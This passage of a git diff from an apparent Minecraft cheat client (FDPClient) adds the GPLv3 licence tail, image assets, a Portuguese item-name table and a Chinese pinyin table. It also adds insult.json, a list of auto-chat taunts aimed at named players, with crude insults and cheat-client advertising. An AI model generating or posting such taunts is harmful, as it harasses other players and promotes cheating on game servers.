work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + Copyright © CCBlueX 2015-2020 + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. + + Contact: support@liquidbounce.net + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright © CCBlueX 2015-2020 + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +<http://www.gnu.org/licenses/>. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +<http://www.gnu.org/philosophy/why-not-lgpl.html>. diff --git a/src/main/resources/assets/minecraft/fdpclient/misc/expand.png b/src/main/resources/assets/minecraft/fdpclient/misc/expand.png new file mode 100644 index 0000000..82269c9 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/misc/expand.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/misc/icon.png b/src/main/resources/assets/minecraft/fdpclient/misc/icon.png new file mode 100644 index 0000000..77471dc Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/misc/icon.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/misc/insult.json b/src/main/resources/assets/minecraft/fdpclient/misc/insult.json new file mode 100644 index 0000000..51d67f0 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/misc/insult.json @@ -0,0 +1,44 @@ +[ + "FDPClient LOL TOO OP", + "%name% get it at fdpinfo.github.io", + "%name% has a trash client", + "FDPClient killing your favourite server lmao", + "%name% noob go get FDPClient", + "%name% NM$L for being legit", + "GET IT [fdpinfo.github.io]", + "FDPClient > ALL", + "%name% was massacred by FDPClient", + "FDPClient was just born different", + "Support skidding by going to [fdpinfo.github.io]", + "The Best SKIDDER CLIENT GO NOW FDPCLIENT", + "What should I choose? FDPClient or FDPClient?", + "Want some skills? Check out fdpinfo.github.io", + "I need help, teach me how to play!", + "FDPClient OP CHEETS LOL", + "We forgot to skid the s in skill", + "LAG! this server is so laggy!", + "get skill today by going to fdpinfo.github.io", + "im playing legit using fdpinfo.github.io", + "is it a bird? is it a plane? no its fdp!", + "FDP v5 > all", + "i Am ThE MoSt SkIlLeD iN tHiS GaMe", + "%name% eat some $h¡t", + "I have a good FDP config, don't blame me", + "FDP never dies", + "I am not racist, but I only like FDP users. so git gut noobs", + "What should I choose? FDP or FDP?", + "I don't hack I just FDP", + "sudo apt install skill", + "oops! clicked the wrong button", + "fdp has risen", + "OH looks like i got banned for unfair advantage -tenebrous", + "I like pineapple on my pizza", + "we removed the s from spain", + "FDP? HAX? skill!", + "fdp > lunar", + "fdp > badlion", + "I sometimes try to say bad things then this happens :(", + "im not hackin, im just using the force!", + "SkidderMC best skidders!", + "tbh just getfdp.today lmao" +] diff --git a/src/main/resources/assets/minecraft/fdpclient/misc/item_names_in_pt_BR.json b/src/main/resources/assets/minecraft/fdpclient/misc/item_names_in_pt_BR.json new file mode 100644 index 0000000..a5fe6e1 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/misc/item_names_in_pt_BR.json @@ -0,0 +1 @@ +{"apple":"Maçã","appleGold":"Maçã Dourada","armorStand":"Suporte de Armaduras","arrow":"Flecha","banner.black":"Estandarte Preto","banner.blue":"Estandarte Azul","banner.brown":"Estandarte Marrom","banner.cyan":"Estandarte Ciano","banner.gray":"Estandarte Cinza","banner.green":"Estandarte Verde","banner.lightBlue":"Estandarte Azul Claro","banner.lime":"Estandarte Verde Limão","banner.magenta":"Estandarte Magenta","banner.orange":"Estandarte Laranja","banner.pink":"Estandarte Rosa","banner.purple":"Estandarte Lilás","banner.red":"Estandarte Vermelho","banner.silver":"Estandarte Cinza Claro","banner.white":"Estandarte Branco","banner.yellow":"Estandarte Amarelo","bed":"Cama","beefCooked":"Filé","beefRaw":"Bife Cru","blazePowder":"Pó de Blaze","blazeRod":"Vara Incandescente","boat":"Bote","bone":"Osso","book":"Livro","bootsChain":"Botas de Cota de Malha","bootsCloth":"Botas de Couro","bootsDiamond":"Botas de Diamante","bootsGold":"Botas de Ouro","bootsIron":"Botas de Ferro","bow":"Arco","bowl":"Tigela","bread":"Pão","brewingStand":"Suporte de Poções","brick":"Tijolo","bucket":"Balde","bucketLava":"Balde de Lava","bucketWater":"Balde de Água","cake":"Bolo","carrotGolden":"Cenoura Dourada","carrotOnAStick":"Cenoura no Palito","carrots":"Cenoura","cauldron":"Caldeirão","charcoal":"Carvão Vegetal","chestplateChain":"Peitoral de Cota de Malha","chestplateCloth":"Túnica de Couro","chestplateDiamond":"Peitoral de Diamante","chestplateGold":"Peitoral de Ouro","chestplateIron":"Peitoral de Ferro","chickenCooked":"Frango Assado","chickenRaw":"Frango Cru","clay":"Argila","clock":"Relógio","coal":"Carvão","comparator":"Comparador de Redstone","compass":"Bússola","cookie":"Biscoito","diamond":"Diamante","diode":"Repetidor de Redstone","doorAcacia":"Porta de Acácia","doorBirch":"Porta de Eucalipto","doorDarkOak":"Porta de Carvalho Escuro","doorIron":"Porta de Ferro","doorJungle":"Porta de Madeira da Selva","doorOak":"Porta de Carvalho","doorSpruce":"Porta de Pinheiro","dyePowder.black":"Bolsa de Tinta","dyePowder.blue":"Lápis-Lazúli","dyePowder.brown":"Sementes de Cacau","dyePowder.cyan":"Corante Ciano","dyePowder.gray":"Corante Cinza","dyePowder.green":"Verde do Cacto","dyePowder.lightBlue":"Corante Azul Claro","dyePowder.lime":"Corante Verde Limão","dyePowder.magenta":"Corante Magenta","dyePowder.orange":"Corante Laranja","dyePowder.pink":"Corante Rosa","dyePowder.purple":"Corante Lilás","dyePowder.red":"Vermelho da Rosa","dyePowder.silver":"Corante Cinza Claro","dyePowder.white":"Farinha de Osso","dyePowder.yellow":"Amarelo do Dente-de-Leão","egg":"Ovo","emerald":"Esmeralda","emptyMap":"Mapa em Branco","emptyPotion":"Frasco com Água","enchantedBook":"Livro Encantado","enderPearl":"Pérola do Fim","expBottle":"Frasco de Encantamentos","eyeOfEnder":"Olho do Fim","feather":"Pena","fermentedSpiderEye":"Olho de Aranha Fermentado","fireball":"Bola de Fogo","fireworks":"Fogos de Artifício","fireworksCharge":"Estrela de Fogos de Artifício","fish.clownfish.raw":"Peixe-Palhaço","fish.cod.cooked":"Peixe Assado","fish.cod.raw":"Peixe Cru","fish.pufferfish.raw":"Baiacu","fish.salmon.cooked":"Salmão Assado","fish.salmon.raw":"Salmão Cru","fishingRod":"Vara de Pescar","flint":"Pederneira","flintAndSteel":"Isqueiro","flowerPot":"Vaso de Flor","frame":"Moldura","ghastTear":"Lágrima de Ghast","glassBottle":"Frasco de Vidro","goldNugget":"Pepita de Ouro","hatchetDiamond":"Machado de Diamante","hatchetGold":"Machado de Ouro","hatchetIron":"Machado de Ferro","hatchetStone":"Machado de Pedra","hatchetWood":"Machado de Madeira","helmetChain":"Coifa de Cota de Malha","helmetCloth":"Capuz de Couro","helmetDiamond":"Elmo de Diamante","helmetGold":"Elmo de Ouro","helmetIron":"Elmo de Ferro","hoeDiamond":"Enxada de Diamante","hoeGold":"Enxada de Ouro","hoeIron":"Enxada de Ferro","hoeStone":"Enxada de Pedra","hoeWood":"Enxada de Madeira","horsearmordiamond":"Armadura de Diamante para Cavalo","horsearmorgold":"Armadura de Ouro para Cavalo","horsearmormetal":"Armadura de Ferro para Cavalo","ingotGold":"Barra de Ouro","ingotIron":"Barra de Ferro","leash":"Laço","leather":"Couro","leaves":"Folhas","leggingsChain":"Calça de Cota de Malha","leggingsCloth":"Calças de Couro","leggingsDiamond":"Calças de Diamante","leggingsGold":"Calças de Ouro","leggingsIron":"Calças de Ferro","magmaCream":"Creme de Magma","map":"Mapa","melon":"Melancia","milk":"Leite","minecart":"Carrinho","minecartChest":"Carrinho com Baú","minecartCommandBlock":"Carrinho com Bloco de Comando","minecartFurnace":"Carrinho com Fornalha","minecartHopper":"Carrinho com Funil","minecartTnt":"Carrinho com Dinamite","monsterPlacer":"Invocar","mushroomStew":"Ensopado de Cogumelos","muttonCooked":"Carneiro Assado","muttonRaw":"Carneiro Cru","nameTag":"Etiqueta","netherStalkSeeds":"Fungo do Nether","netherStar":"Estrela do Nether","netherbrick":"Tijolo do Nether","netherquartz":"Quartzo do Nether","painting":"Pintura","paper":"Papel","pickaxeDiamond":"Picareta de Diamante","pickaxeGold":"Picareta de Ouro","pickaxeIron":"Picareta de Ferro","pickaxeStone":"Picareta de Pedra","pickaxeWood":"Picareta de Madeira","porkchopCooked":"Carne de Porco Assada","porkchopRaw":"Carne de Porco Crua","potato":"Batata","potatoBaked":"Batata Assada","potatoPoisonous":"Batata Venenosa","potion":"Poção","prismarineCrystals":"Cristais de Prismarinho","prismarineShard":"Fragmento de Prismarinho","pumpkinPie":"Torta de Abóbora","rabbitCooked":"Coelho Assado","rabbitFoot":"Pé de Coelho","rabbitHide":"Pele de Coelho","rabbitRaw":"Coelho Cru","rabbitStew":"Ensopado de Coelho","record":"Disco de Música","redstone":"Redstone","reeds":"Canas-de-Açúcar","rottenFlesh":"Carne Podre","ruby":"Rubi","saddle":"Sela","seeds":"Sementes","seeds_melon":"Sementes de Melancia","seeds_pumpkin":"Sementes de Abóbora","shears":"Tesoura","shovelDiamond":"Pá de Diamante","shovelGold":"Pá de Ouro","shovelIron":"Pá de Ferro","shovelStone":"Pá de Pedra","shovelWood":"Pá de Madeira","sign":"Placa","skull.char":"Cabeça","skull.creeper":"Cabeça de Creeper","skull.player":"Cabeça de %s","skull.skeleton":"Crânio de Esqueleto","skull.wither":"Crânio de Esqueleto Wither","skull.zombie":"Cabeça de Zumbi","slimeball":"Gosma de Slime","snowball":"Bola de Neve","speckledMelon":"Melancia Reluzente","spiderEye":"Olho de Aranha","stick":"Graveto","string":"Linha","sugar":"Açúcar","sulphur":"Pólvora","swordDiamond":"Espada de Diamante","swordGold":"Espada de Ouro","swordIron":"Espada de Ferro","swordStone":"Espada de Pedra","swordWood":"Espada de Madeira","wheat":"Trigo","writingBook":"Pena e Livro","writtenBook":"Livro Escrito","yellowDust":"Pó de Pedra Luminosa"} \ No newline at end of file diff --git a/src/main/resources/assets/minecraft/fdpclient/misc/keystrokes.png b/src/main/resources/assets/minecraft/fdpclient/misc/keystrokes.png new file mode 100644 index 0000000..44b872d Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/misc/keystrokes.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/misc/logo.png b/src/main/resources/assets/minecraft/fdpclient/misc/logo.png new file mode 100644 index 0000000..c5f30ae Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/misc/logo.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/misc/pinyin b/src/main/resources/assets/minecraft/fdpclient/misc/pinyin new file mode 100644 index 0000000..3ab903b --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/misc/pinyin @@ -0,0 +1 @@ +啊,a;阿,a;锕,a;埃,ai;挨,ai;哎,ai;唉,ai;哀,ai;皑,ai;癌,ai;蔼,ai;矮,ai;艾,ai;碍,ai;爱,ai;隘,ai;诶,ai;捱,ai;嗳,ai;嗌,ai;嫒,ai;瑷,ai;暧,ai;砹,ai;锿,ai;霭,ai;鞍,an;氨,an;安,an;俺,an;按,an;暗,an;岸,an;胺,an;案,an;谙,an;埯,an;揞,an;犴,an;庵,an;桉,an;铵,an;鹌,an;顸,an;黯,an;肮,ang;昂,ang;盎,ang;凹,ao;敖,ao;熬,ao;翱,ao;袄,ao;傲,ao;奥,ao;懊,ao;澳,ao;坳,ao;拗,ao;嗷,ao;噢,ao;岙,ao;廒,ao;遨,ao;媪,ao;骜,ao;聱,ao;螯,ao;鏊,ao;鳌,ao;鏖,ao;芭,ba;捌,ba;扒,ba;叭,ba;吧,ba;笆,ba;八,ba;疤,ba;巴,ba;拔,ba;跋,ba;靶,ba;把,ba;耙,ba;坝,ba;霸,ba;罢,ba;爸,ba;茇,ba;菝,ba;萆,ba;捭,ba;岜,ba;灞,ba;杷,ba;钯,ba;粑,ba;鲅,ba;魃,ba;白,bai;柏,bai;百,bai;摆,bai;佰,bai;败,bai;拜,bai;稗,bai;薜,bai;掰,bai;鞴,bai;斑,ban;班,ban;搬,ban;扳,ban;般,ban;颁,ban;板,ban;版,ban;扮,ban;拌,ban;伴,ban;瓣,ban;半,ban;办,ban;绊,ban;阪,ban;坂,ban;豳,ban;钣,ban;瘢,ban;癍,ban;舨,ban;邦,bang;帮,bang;梆,bang;榜,bang;膀,bang;绑,bang;棒,bang;磅,bang;蚌,bang;镑,bang;傍,bang;谤,bang;蒡,bang;螃,bang;苞,bao;胞,bao;包,bao;褒,bao;雹,bao;保,bao;堡,bao;饱,bao;宝,bao;抱,bao;报,bao;暴,bao;豹,bao;鲍,bao;爆,bao;勹,bao;葆,bao;宀,bao;孢,bao;煲,bao;鸨,bao;褓,bao;趵,bao;龅,bao;剥,bo;薄,bo;玻,bo;菠,bo;播,bo;拨,bo;钵,bo;波,bo;博,bo;勃,bo;搏,bo;铂,bo;箔,bo;伯,bo;帛,bo;舶,bo;脖,bo;膊,bo;渤,bo;泊,bo;驳,bo;亳,bo;蕃,bo;啵,bo;饽,bo;檗,bo;擘,bo;礴,bo;钹,bo;鹁,bo;簸,bo;跛,bo;杯,bei;碑,bei;悲,bei;卑,bei;北,bei;辈,bei;背,bei;贝,bei;钡,bei;倍,bei;狈,bei;备,bei;惫,bei;焙,bei;被,bei;孛,bei;陂,bei;邶,bei;埤,bei;蓓,bei;呗,bei;怫,bei;悖,bei;碚,bei;鹎,bei;褙,bei;鐾,bei;奔,ben;苯,ben;本,ben;笨,ben;畚,ben;坌,ben;锛,ben;崩,beng;绷,beng;甭,beng;泵,beng;蹦,beng;迸,beng;唪,beng;嘣,beng;甏,beng;逼,bi;鼻,bi;比,bi;鄙,bi;笔,bi;彼,bi;碧,bi;蓖,bi;蔽,bi;毕,bi;毙,bi;毖,bi;币,bi;庇,bi;痹,bi;闭,bi;敝,bi;弊,bi;必,bi;辟,bi;壁,bi;臂,bi;避,bi;陛,bi;匕,bi;仳,bi;俾,bi;芘,bi;荜,bi;荸,bi;吡,bi;哔,bi;狴,bi;庳,bi;愎,bi;滗,bi;濞,bi;弼,bi;妣,bi;婢,bi;嬖,bi;璧,bi;贲,bi;畀,bi;铋,bi;秕,bi;裨,bi;筚,bi;箅,bi;篦,bi;舭,bi;襞,bi;跸,bi;髀,bi;鞭,bian;边,bian;编,bian;贬,bian;扁,bian;便,bian;变,bian;卞,bian;辨,bian;辩,bian;辫,bian;遍,bian;匾,bian;弁,bian;苄,bian;忭,bian;汴,bian;缏,bian;煸,bian;砭,bian;碥,bian;稹,bian;窆,bian;蝙,bian;笾,bian;鳊,bian;标,biao;彪,biao;膘,biao;表,biao;婊,biao;骠,biao;飑,biao;飙,biao;飚,biao;灬,biao;镖,biao;镳,biao;瘭,biao;裱,biao;鳔,biao;鳖,bie;憋,bie;别,bie;瘪,bie;蹩,bie;鳘,bie;彬,bin;斌,bin;濒,bin;滨,bin;宾,bin;摈,bin;傧,bin;浜,bin;缤,bin;玢,bin;殡,bin;膑,bin;镔,bin;髌,bin;鬓,bin;兵,bing;冰,bing;柄,bing;丙,bing;秉,bing;饼,bing;炳,bing;病,bing;并,bing;禀,bing;邴,bing;摒,bing;绠,bing;枋,bing;槟,bing;燹,bing;捕,bu;卜,bu;哺,bu;补,bu;埠,bu;不,bu;布,bu;步,bu;簿,bu;部,bu;怖,bu;拊,bu;卟,bu;逋,bu;瓿,bu;晡,bu;钚,bu;醭,bu;擦,ca;嚓,ca;礤,ca;猜,cai;裁,cai;材,cai;才,cai;财,cai;睬,cai;踩,cai;采,cai;彩,cai;菜,cai;蔡,cai;餐,can;参,can;蚕,can;残,